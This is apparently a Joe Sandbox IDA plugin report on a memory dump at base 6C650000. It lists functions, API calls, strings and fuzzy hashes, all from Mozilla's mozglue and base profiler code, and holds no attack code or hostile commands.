Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C669F00 Relevance: 8.5, Strings: 6, Instructions: 1039COMMON

Download Yara Rule

Strings

9, xrefs: 6C66A5D6
' , xrefs: 6C66A3D8
@, xrefs: 6C66A625
1, xrefs: 6C66A824
0, xrefs: 6C66AB22
0, xrefs: 6C66A100

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ' $0$0$1$9$@
API String ID: 0-2946122015
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C6A77A0 Relevance: 6.3, APIs: 4, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID:
API String ID: 4054851604-0
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C678850 Relevance: 6.1, APIs: 1, Strings: 2, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB
MOZ_CRASH(), xrefs: 6C6797EA

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-3566792288
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C696CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 4.5, APIs: 3, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID:
API String ID: 304294125-0
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 4.3, APIs: 1, Strings: 1, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1351931279
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C7796, 6C6C79C0, 6C6C7E0B, 6C6C793C, 6C6C79FB

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C7C03, 6C6C7C72, 6C6C79C0, 6C6C7E0B, 6C6C793C, 6C6C79FB

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C695C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C65DFE0 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C6CAC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C697710 Relevance: .2, Instructions: 206COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID:
API String ID: 2429186680-0
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,mainthreadio,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileio,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,fileioall,?,?,?,?,?,?,?,?,?,?,?,?,?,6C66582D), ref: 6C69CCAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,noiostacks), ref: 6C69CCC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,screenshots), ref: 6C69CCDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,seqstyle), ref: 6C69CCEC
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,stackwalk), ref: 6C69CCFE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,jsallocations), ref: 6C69CD14
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nostacksampling), ref: 6C69CD82
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,preferencereads), ref: 6C69CD98
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,nativeallocations), ref: 6C69CDAE
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,ipcmessages), ref: 6C69CDC4
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,audiocallbacktracing), ref: 6C69CDDA
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpu), ref: 6C69CDF0
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,notimerresolutionchange), ref: 6C69CE06
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,cpuallthreads), ref: 6C69CE1C
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,samplingallthreads), ref: 6C69CE32
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,markersallthreads), ref: 6C69CE48
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,unregisteredthreads), ref: 6C69CE5E
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,processcpu), ref: 6C69CE74
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,power), ref: 6C69CE8A

Strings

mainthreadio, xrefs: 6C69CC7C
ipcmessages, xrefs: 6C69CDBE
audiocallbacktracing, xrefs: 6C69CDD4
fileio, xrefs: 6C69CC92
notimerresolutionchange, xrefs: 6C69CE00
markersallthreads, xrefs: 6C69CE42
stackwalk, xrefs: 6C69CCF8
nostacksampling, xrefs: 6C69CD7C
screenshots, xrefs: 6C69CCD4
samplingallthreads, xrefs: 6C69CE2C
java, xrefs: 6C69CC37
power, xrefs: 6C69CE84
leaf, xrefs: 6C69CC66
nativeallocations, xrefs: 6C69CDA8
jsallocations, xrefs: 6C69CD0E
Unrecognized feature "%s"., xrefs: 6C69CEA0
processcpu, xrefs: 6C69CE6E
fileioall, xrefs: 6C69CCA8
seqstyle, xrefs: 6C69CCE6
preferencereads, xrefs: 6C69CD92
default, xrefs: 6C69CC21
unregisteredthreads, xrefs: 6C69CE58
cpuallthreads, xrefs: 6C69CE16
noiostacks, xrefs: 6C69CCBE

Memory Dump Source

Source File: 00000000.00000002.2437114101.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2437083971.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437197741.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437248378.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2437292791.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: strcmp
String ID: Unrecognized feature "%s".$audiocallbacktracing$cpuallthreads$default$fileio$fileioall$ipcmessages$java$jsallocations$leaf$mainthreadio$markersallthreads$nativeallocations$noiostacks$nostacksampling$notimerresolutionchange$power$preferencereads$processcpu$samplingallthreads$screenshots$seqstyle$stackwalk$unregisteredthreads
API String ID: 1004003707-2809817890
Opcode ID: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction ID: 86e23dd8be6c638818287a695d03abbef18e979f159a2decd0edf4e43f665e4b
Opcode Fuzzy Hash: 602cefd0f958e7c68f7242adeed9a91ecb3ecbc503f71a6bb229bb2c15ae9e18
Instruction Fuzzy Hash: D05142D1B4562772FA0531156D20BEA1485EF5334AF14443AEE1BA2E90FB05E70FCAAF

Function 6C6647C0 Relevance: 49.2, APIs: 23, Strings: 5, Instructions: 232threadCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6C664801
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C664817
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C66482D
__Init_thread_footer.LIBCMT ref: 6C66484A

Part of subcall function 6C68AB3F: EnterCriticalSection.KERNEL32(6C6DE370,?,?,6C653527,6C6DF6CC,?,?,?,?,?,?,?,?,6C653284), ref: 6C68AB49
